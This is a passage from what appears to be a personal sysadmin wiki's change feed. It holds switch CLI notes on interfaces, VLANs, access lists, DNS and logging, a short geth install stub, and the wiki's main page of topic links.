&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
31 percent busy, from 3248 sec ago 1	sec avg: &lt;br /&gt;
31 percent busy 5	sec avg: &lt;br /&gt;
31 percent busy 60 sec avg: &lt;br /&gt;
31 percent busy&lt;br /&gt;
&lt;br /&gt;
300 sec avg: 31 percent busy   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* cpu/process utilizaiton&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
# show process cpu&lt;br /&gt;
Process Name&lt;br /&gt;
ACL&lt;br /&gt;
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP&lt;br /&gt;
5Sec(%)	1Min(%)&lt;br /&gt;
0.00	0.00&lt;br /&gt;
0.01	0.01 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.01	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00&lt;br /&gt;
5Min(%)	15Min(%)&lt;br /&gt;
Runtime(ms)&lt;br /&gt;
0.00	0.00	0&lt;br /&gt;
0.01	0.01	714 0.00	0.00	0 0.00	0.00	0 0.00	0.00	0 0.00	0.00	161 0.00	0.00	229 0.00	0.01	673 0.00	0.00	0 0.00	0.00	9 0.00	0.00	7 0.00	0.00	0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== port status short ===&lt;br /&gt;
* show interface brief&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
1     Up      Forward   Full 1G    None  No  level0 0012.f286....              &lt;br /&gt;
2     Disable None      None None  None  No  level0 0012.f286....                &lt;br /&gt;
&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
ve10  Up      N/A       N/A  N/A   None  N/A N/A    0012.f286....     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ip traffic ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#show ip traffic &lt;br /&gt;
IP Statistics&lt;br /&gt;
  249333533 received, 92410 sent, 248630753 forwarded&lt;br /&gt;
  0 filtered, 0 fragmented, 0 reassembled, 4480 bad header&lt;br /&gt;
  495 no route, 0 unknown proto, 0 no buffer, 43582 other errors&lt;br /&gt;
&lt;br /&gt;
ARP Statistics&lt;br /&gt;
  151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent&lt;br /&gt;
  0 pending drop, 0 invalid source, 0 invalid dest&lt;br /&gt;
&lt;br /&gt;
ICMP Statistics&lt;br /&gt;
Received:&lt;br /&gt;
  13364 total, 25 errors, 103 unreachable, 25 time exceed&lt;br /&gt;
  0 parameter, 0 source quench, 0 redirect, 13202 echo, &lt;br /&gt;
  9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
Sent:&lt;br /&gt;
  55536 total, 0 errors, 38105 unreachable, 4205 time exceed&lt;br /&gt;
  24 parameter, 0 source quench, 0 redirect, 0 echo, &lt;br /&gt;
  13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
&lt;br /&gt;
UDP Statistics&lt;br /&gt;
  173951 received, 15129 sent, 119850 no port, 0 input errors&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MAC address table ===&lt;br /&gt;
 show mac-address&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total active entries from all ports = 69&lt;br /&gt;
MAC-Address     Port         Type       Index      VLAN &lt;br /&gt;
0800.270c.ce47  5            Dynamic    30         113  &lt;br /&gt;
0011.7800.9a44  8            Dynamic    14232      200  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ethernet data flow statistics ===&lt;br /&gt;
* show rmon statistics&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Ethernet statistics 1 is active, owned by monitor&lt;br /&gt;
 Interface 1 (ifIndex 1) counters&lt;br /&gt;
           Octets          62219423556&lt;br /&gt;
      Drop events                    0             Packets             74215428&lt;br /&gt;
   Broadcast pkts                  613      Multicast pkts                83808&lt;br /&gt;
 CRC align errors                    0      Undersize pkts                    0&lt;br /&gt;
    Oversize pkts                    0           Fragments                    0&lt;br /&gt;
          Jabbers                    0          Collisions                    0&lt;br /&gt;
&lt;br /&gt;
 Packet size counters&lt;br /&gt;
               64              8199939           65 to 127             21283872&lt;br /&gt;
       128 to 255              2667477          256 to 511              1406813&lt;br /&gt;
      512 to 1023              2001555        1024 to 1518             38655772&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== physical media installed in port ===&lt;br /&gt;
* show media&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
1:M-SX 2:   3:   4:   5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* C1550 – CWDM transceiver with 1550 nm wavelength &lt;br /&gt;
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver &lt;br /&gt;
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver&lt;br /&gt;
* M-FX – 100BaseFX fiber mini-GBIC &lt;br /&gt;
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC  &lt;br /&gt;
* M-LX – 1000BaseLX fiber mini-GBIC &lt;br /&gt;
* M-SX – 1000BaseSX fiber mini-GBIC &lt;br /&gt;
* M-TX – 1000BaseTX copper mini-GBIC &lt;br /&gt;
* M-XR – 1000BaseSX 2 fiber mini-GBIC &lt;br /&gt;
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC &lt;br /&gt;
* M-LHA 1000BaseLHA fiber mini-GBIC&lt;br /&gt;
&lt;br /&gt;
=== interface speed ===&lt;br /&gt;
&lt;br /&gt;
 Router(config)# interface e 8 &lt;br /&gt;
 Router(config-if-e1000-8)# speed-duplex 10-full&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ethernet details ===&lt;br /&gt;
* show interface ethernet 1&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
GigabitEthernet1 is up, line protocol is up &lt;br /&gt;
  Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)&lt;br /&gt;
  Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx&lt;br /&gt;
  Configured mdi mode AUTO, actual MDI&lt;br /&gt;
  Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING&lt;br /&gt;
  BPDU guard is Disabled, ROOT protect is Disabled&lt;br /&gt;
  Link Error Dampening is Disabled&lt;br /&gt;
  STP configured to ON, priority is level0&lt;br /&gt;
  Flow Control is config enabled, oper enabled, negotiation disabled&lt;br /&gt;
  mirror disabled, monitor disabled&lt;br /&gt;
  Not member of any active trunks&lt;br /&gt;
  Not member of any configured trunks&lt;br /&gt;
  No port name&lt;br /&gt;
  IPG MII 96 bits-time, IPG GMII 96 bits-time&lt;br /&gt;
  IP MTU 1500 bytes, encapsulation ethernet&lt;br /&gt;
  300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization&lt;br /&gt;
  300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization&lt;br /&gt;
  35819040 packets input, 31760156880 bytes, 0 no buffer&lt;br /&gt;
  Received 559 broadcasts, 83280 multicasts, 35735201 unicasts&lt;br /&gt;
  0 input errors, 0 CRC, 0 frame, 0 ignored&lt;br /&gt;
  0 runts, 0 giants&lt;br /&gt;
  38293277 packets output, 30371035971 bytes, 0 underruns&lt;br /&gt;
  Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts&lt;br /&gt;
  0 output errors, 0 collisions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip routes ===&lt;br /&gt;
 show ip&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Global Settings&lt;br /&gt;
  ttl: 64, arp-age: 10, bootp-relay-max-hops: 4&lt;br /&gt;
  router-id : 0.0.0.0&lt;br /&gt;
  enabled : UDP-Broadcast-Forwarding  Source-Route  Load-Sharing  RARP  &lt;br /&gt;
  disabled: Route-Only  Directed-Broadcast-Forwarding  IRDP  Proxy-ARP  RIP  DVMRP  VRRP  VRRP-Extended  &lt;br /&gt;
Static Routes&lt;br /&gt;
  Index   IP Address        Subnet Mask       Next Hop Router   Metric Distance&lt;br /&gt;
  1       0.0.0.0           0.0.0.0           145.145.24.140    1      1 0&lt;br /&gt;
  2       192.168.251.0     255.255.255.0     192.168.252.1     1      1 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip interface networks === &lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
show ip interface&lt;br /&gt;
Interface       IP-Address      OK?  Method    Status                 Protocol&lt;br /&gt;
Ve 10           1.5.4.1  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 100          1.2.1.33   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 101          1.2.1.129  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 102          1.2.1.193  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 103          1.2.1.225  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 104          1.2.1.241  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 105          1.2.1.249  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 106          1.2.1.17   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 111          1.2.1.65   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 112          1.2.1.81   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 113          1.2.1.97   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 200          1.2.3.4  YES  NVRAM     up                     up     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
vlan 123 name v-users by port&lt;br /&gt;
tagged ethe 2 to 4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VLAN detail ===&lt;br /&gt;
* show vlans&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total PORT-VLAN entries: 19&lt;br /&gt;
Maximum PORT-VLAN entries: 4095&lt;br /&gt;
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off&lt;br /&gt;
 Untagged Ports:   2   3   4  19  20 &lt;br /&gt;
   Tagged Ports: None&lt;br /&gt;
   Uplink Ports: None&lt;br /&gt;
 DualMode Ports: None&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== virtual ethernet configuration ===&lt;br /&gt;
* is the ip configuration of the vlan subnet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
interface ve 300&lt;br /&gt;
 port-name v-secondary&lt;br /&gt;
 ip access-group 300 in&lt;br /&gt;
 ip address 1.2.1.1 255.255.255.240&lt;br /&gt;
!&lt;br /&gt;
interface ve 100&lt;br /&gt;
 port-name v-primary&lt;br /&gt;
 ip address 1.2.3.1 255.255.252.0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== access list per IP ===&lt;br /&gt;
* access list used by virtual ethernet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
access-list 10 permit 1.2.3.0 0.0.3.255&lt;br /&gt;
access-list 10 permit 1.2.1.0 0.0.0.255&lt;br /&gt;
access-list 10 deny any log&lt;br /&gt;
&lt;br /&gt;
access-list 300 deny ip any 1.2.3.0 0.0.3.255 log&lt;br /&gt;
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log&lt;br /&gt;
access-list 300 permit ip any any&lt;br /&gt;
&lt;br /&gt;
access-list 103 permit ip any 1.2.5.0 0.0.0.255&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== set DNS === &lt;br /&gt;
* add 3 DNS servers:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* del 1 DNS server:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
no ip dns server-address 10.11.12.13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH management config ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
 ip ssh  key-authentication no&lt;br /&gt;
 ip ssh  source-interface ve 200&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add port to VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* add tagged port:&lt;br /&gt;
 # vlan 4&lt;br /&gt;
 (vlan-4)# tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* add untagged port&lt;br /&gt;
 (vlan-4)# untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== remove port from VLAN ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
* remove un-tagged port:&lt;br /&gt;
 #vlan 4&lt;br /&gt;
 (vlan-4)# no untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* tagged port&lt;br /&gt;
 (vlan-4)# no tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== change temperature warning level ===&lt;br /&gt;
&lt;br /&gt;
* temperature at when the device will give warning&lt;br /&gt;
 # temperature warning 47&lt;br /&gt;
* temperature at when the device will shut down&lt;br /&gt;
 # temperature shutdown 57&lt;br /&gt;
* change the polling time interval&lt;br /&gt;
 # chassis poll-time 200&lt;br /&gt;
&lt;br /&gt;
=== change logging size ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#config te&lt;br /&gt;
BR-SSH@coresw1(config)#logging buffered 300&lt;br /&gt;
Reload required.  Please write memory and then reload or power cycle.&lt;br /&gt;
BR-SSH@coresw1(config)#write memory&lt;br /&gt;
Write startup-config done.&lt;br /&gt;
BR-SSH@coresw1(config)#end&lt;br /&gt;
BR-SSH@coresw1#reload&lt;br /&gt;
Are you sure? (enter 'y' or 'n'): y&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Ethereum&amp;diff=6407</id>
		<title>Ethereum</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Ethereum&amp;diff=6407"/>
		<updated>2022-06-26T09:22:20Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: Created page with &amp;quot; Once upon a time there was Mist, today it's not. Let's CLI then   = go-ethereum = == Install == # download from https://geth.ethereum.org/downloads/  # unzip, check directory # intstall go if you haven't # go get -d github.com/ethereum/go-ethereum == Javascript console == * launch the CLI  geth console&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
Once upon a time there was Mist, today it's not. Let's CLI then&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= go-ethereum =&lt;br /&gt;
== Install ==&lt;br /&gt;
# download from https://geth.ethereum.org/downloads/ &lt;br /&gt;
# unzip, check directory&lt;br /&gt;
# intstall go if you haven't&lt;br /&gt;
# go get -d github.com/ethereum/go-ethereum&lt;br /&gt;
== Javascript console ==&lt;br /&gt;
* launch the CLI&lt;br /&gt;
 geth console&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Main_Page&amp;diff=6406</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Main_Page&amp;diff=6406"/>
		<updated>2022-06-26T08:08:37Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Crypto, Cypherpunks and Hippy Brokers */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''Welcome to Alessandro's wiki'''&lt;br /&gt;
&lt;br /&gt;
''I've populated this page along the path I'm following through the information technology world.&lt;br /&gt;
Beware! some information may be really outdated, started in 2006.&lt;br /&gt;
&lt;br /&gt;
''In the twists and turns of this server's memory, where my thoughts are stored and folded in, you could find frightful ones.''&lt;br /&gt;
&lt;br /&gt;
donate, you can use the following Bitcoin or Litecoin addresses. Thank you&lt;br /&gt;
&lt;br /&gt;
    BTC &lt;br /&gt;
        1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk&lt;br /&gt;
    LTC &lt;br /&gt;
        LYbzJsCVmTynaK63CNMne89xKj961jFbWc&lt;br /&gt;
&lt;br /&gt;
[[Alessandro's_Wiki:About]]&lt;br /&gt;
&lt;br /&gt;
== System Administration Topics ==&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|+ &lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
=== Internet &amp;amp; Network Applications ===&lt;br /&gt;
*; CMS, wiki, etc.&lt;br /&gt;
** [[Trac]]&lt;br /&gt;
** [[mediawiki]]&lt;br /&gt;
** [[Gallery]] ''online photo archive system''&lt;br /&gt;
** [[Plone]]&lt;br /&gt;
** [[Joomla]]&lt;br /&gt;
** [[Drupal]]&lt;br /&gt;
*; Daemons&lt;br /&gt;
** [[Mail Systems]]&lt;br /&gt;
** [[mnogo]]&lt;br /&gt;
** [[supervisord]]&lt;br /&gt;
** [[Apache]]&lt;br /&gt;
** [[lighttpd]]&lt;br /&gt;
** [[Nginx]]&lt;br /&gt;
** [[hotsmtpd]] ''hotmail in Evolution''&lt;br /&gt;
** [[Ganglia]]&lt;br /&gt;
** [[MySQL]]&lt;br /&gt;
** [[PostgreSQL]]&lt;br /&gt;
** [[Oracle]]&lt;br /&gt;
** [[NetBoot]]&lt;br /&gt;
** [[Insync]] ''GoogleDrive(R) &amp;quot;emulator&amp;quot;''&lt;br /&gt;
*; Protocols&lt;br /&gt;
** [[SNMP]]&lt;br /&gt;
** [[NFS]] ''linux Networks''&lt;br /&gt;
** [[Samba]] ''windows networks''&lt;br /&gt;
** [[AFP]]  ''Apple networks''&lt;br /&gt;
** [[rsync]]&lt;br /&gt;
** [[SSH]] ''Secure SHell''&lt;br /&gt;
** [[CVS]]&lt;br /&gt;
** [[Subversion]]&lt;br /&gt;
** [[Git]]&lt;br /&gt;
** [[FTP]]&lt;br /&gt;
** [[OpenVPN]] ''Virtual Private Network''&lt;br /&gt;
** [[wget]] ''HTTP from terminal''&lt;br /&gt;
** [[httrack]] ''freeze a website''&lt;br /&gt;
** [[RealTimeWebContent]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Pure System ===&lt;br /&gt;
* [[CPU]] , [[CrossCompiling]]&lt;br /&gt;
* '''x86_64'''&lt;br /&gt;
** [[Fedora]] ''RedHat, ScientificLinux, CentOS''&lt;br /&gt;
** [[Gentoo]]&lt;br /&gt;
*** [[make.conf|/etc/make.conf]]&lt;br /&gt;
*** [[USE_flags]] ,  [[webapp-config]]&lt;br /&gt;
* [[KDE (intorno)|KDE]] ,  [[Click destro KDE]]&lt;br /&gt;
* [[Gnome]]&lt;br /&gt;
* [[ Qemu ]]&lt;br /&gt;
* [[BOOT|Boot !]] , [[GRUB|GRUB (Gestore Boot)]]&lt;br /&gt;
* [[VI|VI (Editor di testo)]]&lt;br /&gt;
* [[BASH]]&lt;br /&gt;
* [[Xorg]]&lt;br /&gt;
* [[PostInstallazioni]]&lt;br /&gt;
* [[BIOS]]&lt;br /&gt;
* [[processes and threads]]&lt;br /&gt;
* [[sudo]]&lt;br /&gt;
* [[RemoteConsoles]]&lt;br /&gt;
* [[systemd]]&lt;br /&gt;
&lt;br /&gt;
=== Networking Layer ===&lt;br /&gt;
&lt;br /&gt;
* [[Ethernet]]&lt;br /&gt;
** [[dhcp]]&lt;br /&gt;
** [[Bridging]]&lt;br /&gt;
** [[NAT]]&lt;br /&gt;
* [[Wireless]]&lt;br /&gt;
** [[Schede]]&lt;br /&gt;
** [[Wardriving]]&lt;br /&gt;
* [[Firewall (iptables)]]&lt;br /&gt;
* [[Livello Fisico|Physical Layer]]&lt;br /&gt;
* [[IP Protocol]]&lt;br /&gt;
* [[router-language]]&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Multimedia ===&lt;br /&gt;
* Video&lt;br /&gt;
** [[Kodi]]&lt;br /&gt;
** [[Resolution Standards]]&lt;br /&gt;
** [[VideoCaptureAdapters]]&lt;br /&gt;
** [[MPLAYER_MENCODER|mplayer, mencoder &amp;amp; ffmpeg]]&lt;br /&gt;
** [[ffserver|ffserver]]&lt;br /&gt;
** [[crtmpserver|C++ rtmp Server]]&lt;br /&gt;
** [[motion]]&lt;br /&gt;
** [[Imagemagick]]&lt;br /&gt;
** [[DVDStyler]] (authoring DVD)&lt;br /&gt;
** [[PiTiVi]] (montaggio video)&lt;br /&gt;
** [[Kino]] &lt;br /&gt;
** [[youtube]]&lt;br /&gt;
** [[JWplayer]]&lt;br /&gt;
** [[DarwinStreamingServer]]&lt;br /&gt;
** [[Conversioni Numeriche]]&lt;br /&gt;
** [[webcamstudio]]&lt;br /&gt;
* Audio&lt;br /&gt;
** [[Volumio]]&lt;br /&gt;
** [[pulseaudio]]&lt;br /&gt;
** [[Amarok]]&lt;br /&gt;
** [[ESOUND]]&lt;br /&gt;
** [[SOX]]&lt;br /&gt;
** [[mpd]] ''Music server''&lt;br /&gt;
*; Network / Server&lt;br /&gt;
** [[Skype]]&lt;br /&gt;
** [[Converter]]&lt;br /&gt;
** [[RealMedia]]&lt;br /&gt;
** [[red5]]&lt;br /&gt;
** [[erlyvideo]]&lt;br /&gt;
** [[Beryl Window Manager]]&lt;br /&gt;
* Drivers&lt;br /&gt;
** [[saa713x]]&lt;br /&gt;
** [[touchscreen]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Storage, File Systems &amp;amp; Data Recovery ===&lt;br /&gt;
* [[FileSystems]]&lt;br /&gt;
* [[devices and storage]] ''manage, analyze, etc.''&lt;br /&gt;
** [[SCSI]]&lt;br /&gt;
** [[Mounting devices]]&lt;br /&gt;
** [[crypted disk image]]&lt;br /&gt;
* [[RAID]]&lt;br /&gt;
* [[LVM]]&lt;br /&gt;
* [[Cattive abitudini]]&lt;br /&gt;
* [[Backups]]&lt;br /&gt;
** [[Bacula]]&lt;br /&gt;
* [[Propagazione]] &lt;br /&gt;
* [[ISO Managing (ISO9660)]]&lt;br /&gt;
* [[DRBD]]&lt;br /&gt;
&lt;br /&gt;
=== Kernel ===&lt;br /&gt;
* [[Kernel_boot_parameters|Boot Parameters]]&lt;br /&gt;
* [[Configuring|Configuring &amp;amp; compiling]]&lt;br /&gt;
* [[Sheduling]]&lt;br /&gt;
* [[IO Sheduler]]&lt;br /&gt;
* [[mettere alla prova]]&lt;br /&gt;
* [[memory]]&lt;br /&gt;
* [[entropy]]&lt;br /&gt;
* [[clock]]&lt;br /&gt;
&lt;br /&gt;
=== Monitoring &amp;amp; Security ===&lt;br /&gt;
* [[lm_sensors]] ''linux hardware sensor layer''&lt;br /&gt;
* [[Nagios]] ''advanced sesor-based network monitoring system''&lt;br /&gt;
* [[Munin]]  ''draws graphs from system sensors''&lt;br /&gt;
* [[Ganglia]] ''graphs and host grouping for clusters''&lt;br /&gt;
* [[MRTG]]  ''rrdtool based snmp-based switch grapher''&lt;br /&gt;
** '''''security'''''&lt;br /&gt;
* [[Tripwire]]&lt;br /&gt;
* [[Supervisord]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Crypto, Cypherpunks and Hippy Brokers ==&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|+ &lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
=== Crypto world Information ===&lt;br /&gt;
&lt;br /&gt;
News&lt;br /&gt;
* https://www.coindesk.com/&lt;br /&gt;
* https://cointelegraph.com/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
data and graphs&lt;br /&gt;
* http://cryptocoin.cc/&lt;br /&gt;
* https://coinmarketcap.com/&lt;br /&gt;
* https://coincheckup.com/&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
* [[Crypto]] Exchanges and Stuff&lt;br /&gt;
* [[Wallets]]&lt;br /&gt;
** [[Ethereum]]&lt;br /&gt;
'' loosing money is very easy !!!'' if you're not sure, better send it to me...&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Mining World ===&lt;br /&gt;
&lt;br /&gt;
* [[Mining]] ''my notes and mining experiments'' (use with care!!)&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== End Users Topics ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|width=&amp;quot;50%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
==== GNU/Linux distos ====&lt;br /&gt;
&lt;br /&gt;
* [[Debian]]&lt;br /&gt;
** [[Ubuntu]]&lt;br /&gt;
** [[UbuntuStudio]]&lt;br /&gt;
* [[Scientific Linux]]&lt;br /&gt;
** [[RedHat Enterprise Linux]]&lt;br /&gt;
** [[CentOS]]&lt;br /&gt;
&lt;br /&gt;
[[TabellaCaratteristicheDistribuzioni]]&lt;br /&gt;
&lt;br /&gt;
[http://www.gentoo.org/][[Image:Gentoo.png]]&lt;br /&gt;
&lt;br /&gt;
[http://www.ubuntu.org/] [[Image:ubuntuLogoSmall.png]]&lt;br /&gt;
&lt;br /&gt;
[http://www.kubuntu.org/] [[Image:kubuntuLogoSmall.jpg]]&lt;br /&gt;
&lt;br /&gt;
[https://www.scientificlinux.org][[Image:scientificlinux.gif]]&lt;br /&gt;
&lt;br /&gt;
[http://fedoraproject.org/][[Image:fedoraLogoSmall.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Programming/Scripting ===&lt;br /&gt;
* [[code analysis]] ''code analyzing software''&lt;br /&gt;
* [[BASH]]&lt;br /&gt;
* [[UML]]&lt;br /&gt;
* [[CSS]]&lt;br /&gt;
* [[PHP]]&lt;br /&gt;
* [[Javascript]]&lt;br /&gt;
* [[C]]&lt;br /&gt;
* [[SQL]]&lt;br /&gt;
* [[Curl]]&lt;br /&gt;
* [[Perl]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;50%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
===== Audio/Video =====&lt;br /&gt;
*'''[[Formati di Compressione]]'''&lt;br /&gt;
*'''[[KDEactions|Click destro in KDE]]''' ''right-click in KDE , how/t to implement''&lt;br /&gt;
*'''[[MPLAYER_MENCODER|Mplayer &amp;amp; Mencoder]]''' ''direct encoding commands from terminal (mplayer mencoder ffmpeg)''&lt;br /&gt;
*'''[[MIME Types]]''' ''associare tipi di file a programmi''&lt;br /&gt;
*'''[[Kino]]''' ''simple editing software (very simple for end user) ''&lt;br /&gt;
